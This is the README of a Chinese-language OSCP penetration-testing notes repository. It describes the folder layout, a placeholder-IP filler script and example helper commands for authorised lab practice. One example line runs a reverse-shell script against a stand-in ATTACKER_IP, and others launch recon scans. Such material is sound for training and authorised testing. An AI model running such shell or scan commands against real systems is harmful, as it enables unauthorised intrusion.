OSCP 笔记库 + 考试驾驶舱仪表盘:合并的技巧笔记、变量填充命令集、机器、凭据以及考试当天的运行手册。MIT。
标签: #ligolo #hashcat

按端口索引的渗透测试方法论笔记:决策树、可复制粘贴的命令模式,以及来自授权练习靶机(HTB / PG / 个人实验环境)的经验教训。由较早的 finalnotes-vault 合并至这一单一目录树。
一套可在时间压力下执行的工作流程。命令与决策树优先。
仅用于授权练习的公开学习笔记(你自己的实验环境、HTB/PG、你拥有的课程)。不包含考试答案、不包含真实项目数据转储、不包含 OffSec 课程内容转储。
仓库: https://gitlab.com/WattoCyber/oscp-notes-2026
考试演示(HTML): https://oscp-notes-2026-76134f.gitlab.io
| 是什么 | OSCP 风格的实战笔记:决策树、命令模式、技术卡片。 |
| 面向谁 | 希望拥有一套可在时间压力下执行的工作流程的 OSCP 考生与实验环境操作者。 |
| 不是什么 | 不是 payload 转储,不是考试答案,不是 OffSec 课程内容,也不能替代官方材料。 |
| 规模 | 512+ 篇按编号交战顺序排列的 markdown 笔记。 |
git clone https://gitlab.com/WattoCyber/oscp-notes-2026.git
cd oscp-notes-2026
# optional: bind placeholders to your lab IPs
# edit 00-Start-Here/Variables.md
python fill-variables.py apply
python fill-variables.py status
python fill-variables.py reset # restore placeholders
成功信号: python fill-variables.py status 会输出 Status: PLACEHOLDERS(应用前)或 Status: FILLED(在 Variables.md 中填入真实 IP 后应用)。打开 Home.md 或 Find.md(每条笔记均可在 GitLab 中点击)。Wikilinks 在 Obsidian 中仍然有效。使用 python3 scripts/build-find.py 刷新目录。
仅需 Python 3(标准库)。无需 pip install。
考试/实验脚本(优先使用 bash,表格位于 scripts/data/):
ls scripts/
bash scripts/recon/host-scan.sh TARGET
python3 scripts/recon/nmap-next.py scans/TARGET/svc.xml
bash scripts/shells/rev.sh ATTACKER_IP 443 linux
Find.md Generated catalog of every note (GitLab links)
00-Start-Here/ INDEX.md + Quick-Start, Methodology, Variables, Im-Stuck
Exam/ Cheatsheets/ Charts/
01-Enumeration/ Enumeration-Index.md at root
Automated-Scanners/ Network-Protocols/ Web-Applications/
02-Web-Attacks/ Web-Index.md, Web-Methodology.md at root
Recon/ Injection/ File-Attacks/ HTTP-Techniques/ CMS/
03-Active-Directory/ AD-Index.md, First-User-Playbook.md at root
Enum/ Kerberos/ Credential-Theft/ ACL-Abuse/ ADCS/
Lateral/ Persistence/ CVE-One-Shots/
04-Linux-PrivEsc/ Linux-Index.md + walkthrough at root
CVE-One-Shots/ Filesystem/ Hijacking/ Scheduled-and-Services/
Persistence/ Tools/
05-Windows-PrivEsc/ Windows-Index.md + 3 topic indexes at root
Checklists/ Local-Techniques/ Persistence/ Service-Abuse/
Token-Manipulation/ Tools/
06-Pivoting/ Pivoting-Index.md at root + Tools/
07-File-Transfers/ File-Transfers.md at root + Methods/
08-Shells/ Reverse-Shells.md, Msfvenom.md at root
Shells/ Web/
09-Password-Attacks/ Brute-Forcing-Guide.md at root
Cracking/ Spraying/ Wordlists/
10-Reporting/ Report-Template.md at root + Exam/
11-Tools/ Tools-Index.md at root
Payload/ Recon/ Network/ Code/ CVE/ Custom/
scripts/ exam/lab helpers (data/*.tsv + bash; python for parsers)
fill-variables.py placeholder IP binder
_attachments/ images
范围内
范围外(有意排除)
请在 OffSec 的考试指南 上核实当前的考试规则。此处的评分表仅为学习辅助材料,可能会过时。
笔记中使用的占位符:ATTACKER_IP、TARGET_IP、DC_IP、MS01_IP、MS02_IP、STANDALONE1..3、INTERNAL_IP、INTERNAL_NET、DOMAIN。
python3 fill-variables.py apply # write your IPs into every .md
python3 fill-variables.py reset # restore tokens (uses .variables-backup.json)
不要提交已应用的 IP。在 git 中将 Variables.md 保留为占位符。
Samson Laird(SamsonCyber / WattoCyber)。在钻研 OSCP 风格实验环境时构建。
较早的独立 finalnotes-vault 仓库已归档。此目录树是活跃副本。
MIT 适用于原始结构、脚本和原创文字。技术知识属于公开的安全攻防技艺。机器名称指代公开的 HTB/PG 机器;请遵守各平台的规则。